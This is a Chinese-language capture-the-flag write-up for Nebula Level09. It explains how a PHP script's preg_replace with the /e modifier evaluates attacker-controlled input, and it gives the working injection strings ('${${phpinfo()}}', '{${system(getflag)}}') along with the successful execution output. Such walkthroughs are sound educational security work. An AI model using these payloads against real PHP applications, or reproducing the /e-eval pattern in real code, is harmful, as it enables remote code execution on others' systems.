Skip to content

Latest commit

 

History

History
77 lines (53 loc) · 2.32 KB

Level09——PHP正则表达式的安全问题.org

File metadata and controls

77 lines (53 loc) · 2.32 KB

题目中给出了一段有漏洞的php代码:

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);

  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

这段代码通过正则表达式匹配[email xxx@xxx],将“.”替换成“dot”,将“@”替换成“AT”。假设/tmp/lx的文件内容如下:

[email lxff@21cn.com]

执行./flag09 /tmp/lx,将得到:

lxff AT 21cn dot com

但是,我们注意这段代码:

$contents=preg_replace("/(\[email (.*)\])/e","spam(\"\\2\")",$contents);

preg_replace第一个参数后使用了/e,即使用了/e模式,如果启用该模式,那么preg_replace的第二个参数将会被作为代码执行。前段时间Thinkphp也出现了这种漏洞。

在php变量引用中,如果双引号的字符串出现了“$变量名”或“${变量}”的形式,最终引用的是变量值。同样的思想,如果是函数,则引用的是函数的返回结果。

如果/tmp/lx的内容改成这样:

[email "${${phpinfo()}}" ]

最终phpinfo这个函数会被执行。php中也有system函数,可拿来执行外部的shell命令,所以把/tmp/lx的内容改一下:

[email "{${system(getflag)}}"]

接着再来执行:

level09@nebula:/home/flag09$ ./flag09 /tmp/lx
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Notice:  Use of undefined constant getflag - assumed 'getflag' in /home/flag09/flag09.php(15) : regexp code on line 1
You have successfully executed getflag on a target account
PHP Notice:  Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1
""

注意倒数第三行:You have successfully executed getflag on a target account